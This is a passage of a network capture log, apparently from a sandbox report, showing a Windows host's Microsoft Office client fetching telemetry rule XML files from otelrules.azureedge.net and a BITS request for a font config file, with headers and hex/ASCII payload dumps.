2024-10-30 17:06:31 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:31 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c4ab37c7-901e-002a-3417-267a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170631Z-r1755647c66t77qv3m6k1gb3zw00000007wg0000000097x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:31 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49730	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:31 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 7920d540-e01e-0085-1f11-29c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170631Z-17fbfdc98bbp77nqf5g2c5aavs00000007xg000000006x4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49727	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:31 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:31 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 85f3058c-201e-00aa-6c2c-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170631Z-r1755647c66hlhp26bqv22ant400000008cg000000009d3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:31 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49729	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:31 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:31 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:31 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170631Z-r1755647c66qg7mpa8m0fzcvy000000009cg00000000a591 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:31 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49728	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:31 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:31 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170631Z-17fbfdc98bb6kklk3r0qwaavtw0000000690000000005tc1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:32 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49734	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:32 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1041074d-101e-0034-30b5-2596ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170632Z-r1755647c6688lj6g0wg0rqr1400000008ng000000000cbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49735	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:32 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170632Z-17fbfdc98bbh7l5skzh3rekksc00000009rg000000003b2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49736	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:32 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: bbf1142f-f01e-0085-589b-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170632Z-17fbfdc98bbbnx4ldgze4de5zs00000006ug000000008qye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49737	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:32 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 8abc48b9-201e-0096-2f4f-28ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170632Z-r1755647c66bdj57qqnd8h5hp8000000091g000000001awf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:32 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49738	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d6813257-101e-0034-034f-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170632Z-17fbfdc98bbwj6cp6df5812g4s00000009ug0000000067w2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49739	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 17:06:33 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=258006 Date: Wed, 30 Oct 2024 17:06:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 17:06:33 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49744	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:33 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: abb1733e-f01e-005d-6a3c-2813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170633Z-17fbfdc98bb2cvg4m0cmab3ecw00000006z00000000089nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49743	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:33 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
